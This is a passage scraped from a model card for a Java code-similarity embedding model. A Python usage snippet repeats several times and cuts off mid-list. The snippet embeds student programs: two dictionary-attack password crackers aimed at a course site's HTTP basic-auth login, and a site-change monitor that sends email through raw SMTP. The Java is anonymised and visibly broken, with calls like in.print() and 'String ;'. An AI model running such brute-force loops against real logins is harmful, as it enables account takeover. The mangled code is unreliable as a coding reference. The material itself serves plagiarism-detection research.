    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                